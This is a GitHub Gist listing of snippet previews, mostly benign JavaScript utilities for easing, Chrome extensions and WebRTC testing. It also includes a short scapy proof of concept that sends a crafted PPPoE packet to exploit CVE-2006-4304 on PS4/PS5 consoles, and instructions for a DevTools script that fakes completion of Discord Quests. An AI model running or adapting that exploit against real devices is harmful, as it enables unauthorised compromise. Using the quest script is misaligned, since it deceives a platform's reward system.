Skip to content

Instantly share code, notes, and snippets.

@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active April 26, 2024 23:21
Complete Recent Discord Quest

Complete Recent Discord Quest

Note

This no longer works in browser! If you absolutely need to use browser instead of desktop app, use an extension to add the string Electron/ anywhere in your user-agent.

How to use this script:

  1. Accept the quest under User Settings -> Gift Inventory
  2. Join a vc
  3. Stream any window (can be notepad or something)
  4. Press Ctrl+Shift+I to open DevTools
@RobbedColek
RobbedColek / PS4-PS5-CVE-2006-4304.py
Created January 30, 2024 16:02
PoC of CVE-2006-4304 for PS4/PS5
from scapy.all import PPPoED, Ether, sniff, sendp, srp1, hexdump
source = b"\xXX\xXX\xXX\xXX\xXX\xXX" # MAC address of your adapter on PC
destination = b"\xXX\xXX\xXX\xXX\xXX\xXX" # MAC address of LAN on your PS4
interface = "Realtek PCIe 2.5GbE Family Controller #2" # get via "ipconfig /all" or eth0 or similiar on Linux
packet = sniff(iface=interface, filter="pppoed", count=1)
tag_value = packet[PPPoED][0].tag_list[1].tag_value
payload = destination + source + b"\x88\x63\x11\x07\x00\x00\x00\x0c\x01\x03\x00\x08" + tag_value
sendp(payload, iface=interface)
@gre
gre / easing.js
Last active April 26, 2024 23:21
Simple Easing Functions in Javascript - see https://github.com/gre/bezier-easing
/*
* This work is free. You can redistribute it and/or modify it under the
* terms of the Do What The Fuck You Want To Public License, Version 2,
* as published by Sam Hocevar. See the COPYING file for more details.
*/
/*
* Easing Functions - inspired from http://gizma.com/easing/
* only considering the t value for the range [0, 1] => [0, 1]
*/
EasingFunctions = {
@mahemoff
mahemoff / background.js
Created February 22, 2013 04:23
add/remove context menu (requires tabs permission)
chrome.tabs.onUpdated.addListener(function(tabId,changeInfo,tab){ //onUpdated should fire when the selected tab is changed or a link is clicked.
chrome.tabs.getSelected(null,function(tab){
if (tab.url=='http://techmeme.com/')
chrome.contextMenus.create(contextMenuSpec);
else
chrome.contextMenus.removeAll();
});
});
var contextMenuSpec = {
@dexit
dexit / google-chrome-extension-download.js
Last active April 26, 2024 23:20
Chrome Extension download link
const fetch = require('node-fetch');
const fs = require('fs');
const path = require('path');
// Function to download and rename the file
async function downloadAndRenameFile(url, filename) {
const response = await fetch(url);
const fileStream = fs.createWriteStream(filename);
return new Promise((resolve, reject) => {
@chrisjlee
chrisjlee / chrome-location.js
Created October 25, 2015 03:18
get chrome location with nodejs - from chrome-location: https://github.com/hughsk/chrome-location/blob/master/index.js
var osx = process.platform === 'darwin'
var win = process.platform === 'win32'
var other = !osx && !win
var fs = require('fs')
if (other) {
try {
module.exports = require('which').sync('google-chrome')
} catch(e) {
module.exports = null
@dy
dy / require.js
Last active April 26, 2024 23:19
require.js in browser
/**
* Require stub for browser.
* Prepend this script in head.
* Set `data-module="name"` attribute on script tag to define module name to register (or it will be parsed as src file name).
* Works only in browsers supporting Object.observe (Chrome with flags)
*/
//module/exports changing observer to expose global variables
var module = {};
var exports = {};
@yocontra
yocontra / fucking-run-chrome.js
Created April 14, 2014 00:46
Testing WebRTC in Chrome
var os = require('os');
var path = require('path');
var randomDir = function() {
return path.join(os.tmpdir(), String(Math.floor(Math.random()*1000)));
};
var openit = function(url) {
var chromeLocation = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome';
var args = [
@jeffgca
jeffgca / widget.js
Created September 20, 2013 21:26
chrome urls FTW!
require('sdk/widget').Widget({
id: 'mine-test',
label: 'Something',
contentURL: 'chrome://global/skin/icons/webapps-16.png',
onClick: function() {
console.log('foo');
}
});